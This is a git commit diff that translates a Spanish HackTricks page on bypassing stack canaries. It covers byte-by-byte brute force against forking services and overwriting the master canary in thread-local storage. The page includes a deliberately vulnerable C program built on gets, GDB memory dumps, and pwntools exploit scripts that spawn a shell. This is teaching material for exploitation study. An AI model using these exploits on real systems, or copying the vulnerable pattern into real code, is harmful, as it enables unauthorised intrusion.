Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/common-

This commit is contained in:
Translator 2024-04-07 16:14:23 +00:00
parent 68c63718cb
commit 20d6196bbd

View file

@ -7,8 +7,8 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
@ -19,19 +19,19 @@ Otras formas de apoyar a HackTricks:
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
Ten en cuenta que **`checksec`** puede que no detecte que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función.\
Ten en cuenta que **`checksec`** podría no detectar que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función.\
Sin embargo, puedes darte cuenta manualmente si encuentras que se guarda un valor en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
{% endhint %}
## Fuerza bruta en el Canary
La mejor forma de evadir un canary simple es si el binario es un programa que **crea procesos hijos cada vez que se establece una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canary**.
La mejor manera de evadir un canary simple es si el binario es un programa que **crea procesos hijos cada vez que se establece una nueva conexión** con él (servicio de red), porque cada vez que te conectas a él **se usará el mismo canary**.
Entonces, la mejor forma de evadir el canary es simplemente **hacer fuerza bruta carácter por carácter**, y puedes averiguar si el byte del canary adivinado fue correcto verificando si el programa ha fallado o continúa su flujo regular. En este ejemplo, la función **hace fuerza bruta en un canary de 8 Bytes (x64)** y distingue entre un byte adivinado correcto y un byte incorrecto simplemente **verificando** si se envía una **respuesta** por parte del servidor (otra forma en **otra situación** podría ser usando un **try/except**):
Entonces, la mejor manera de evadir el canary es simplemente **hacer fuerza bruta carácter por carácter**, y puedes averiguar si el byte del canary adivinado fue correcto verificando si el programa ha fallado o continúa su flujo regular. En este ejemplo, la función **hace fuerza bruta en un canary de 8 Bytes (x64)** y distingue entre un byte adivinado correcto y un byte incorrecto simplemente **verificando** si se envía una **respuesta** por parte del servidor (otra forma en **otra situación** podría ser usando un **try/except**):
### Ejemplo 1
Este ejemplo está implementado para 64 bits pero podría implementarse fácilmente para 32 bits.
Este ejemplo está implementado para 64 bits pero podría ser fácilmente implementado para 32 bits.
```python
from pwn import *
@ -116,9 +116,117 @@ log.info(f"The canary is: {canary}")
```
## Hilos
Los hilos del mismo proceso también **compartirán el mismo token canary**, por lo tanto será posible **hacer fuerza bruta** en un canary si el binario genera un nuevo hilo cada vez que ocurre un ataque.&#x20;
Los hilos del mismo proceso también **compartirán el mismo token canary**, por lo tanto será posible **hacer fuerza bruta** a un canary si el binario genera un nuevo hilo cada vez que ocurre un ataque.&#x20;
Un desbordamiento de búfer en una función enhebrada protegida con canary puede ser utilizado para modificar el canary maestro del proceso. Como resultado, la mitigación es inútil porque la verificación se realiza con dos canaries que son iguales (aunque modificados).
### Ejemplo
El siguiente programa es vulnerable a Desbordamiento de Búfer, pero está compilado con canary:
```c
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
// gcc thread_canary.c -no-pie -l pthread -o thread_canary
void win() {
execve("/bin/sh", NULL, NULL);
}
void* vuln() {
char data[0x20];
gets(data);
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);
return 0;
}
```
Ten en cuenta que `vuln` se llama dentro de un hilo. En GDB podemos echar un vistazo a `vuln`, específicamente, en el punto donde el programa llama a `gets` para leer datos de entrada:
```bash
gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
```
El anterior representa la dirección de `data`, donde el programa escribirá la entrada del usuario. El canario de la pila se encuentra en `0x7ffff7d7ee48` (`0x493fdc653a156800`), y la dirección de retorno está en `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
```bash
gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
```
Ten en cuenta que las direcciones de la pila no pertenecen a la pila real:
```bash
gef> vmmap stack
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
```
El stack del hilo se coloca encima del Almacenamiento Local del Hilo (TLS), donde se almacena el canario maestro:
```bash
gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...
```
{% hint style="info" %}
Algunas de las funciones de GDB mencionadas anteriormente están definidas en una extensión llamada [bata24/gef](https://github.com/bata24/gef), la cual tiene más características que la habitual [hugsy/gef](https://github.com/hugsy/gef).
{% endhint %}
Como resultado, un gran desbordamiento de búfer puede permitir modificar tanto el canario de la pila como el canario principal en el TLS. Este es el desplazamiento:
```bash
gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848
```
Este es un exploit corto para llamar a `win`:
```python
from pwn import *
context.binary = 'thread_canary'
payload = b'A' * 0x28 # buffer overflow offset
payload += b'BBBBBBBB' # overwritting stack canary
payload += b'A' * 8 # saved $rbp
payload += p64(context.binary.sym.win) # return address
payload += b'A' * (0x848 - len(payload)) # padding
payload += b'BBBBBBBB' # overwritting master canary
io = context.binary.process()
io.sendline(payload)
io.interactive()
```
## Otros ejemplos y referencias
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* 64 bits, sin PIE, nx, modificar el canary del hilo y el maestro.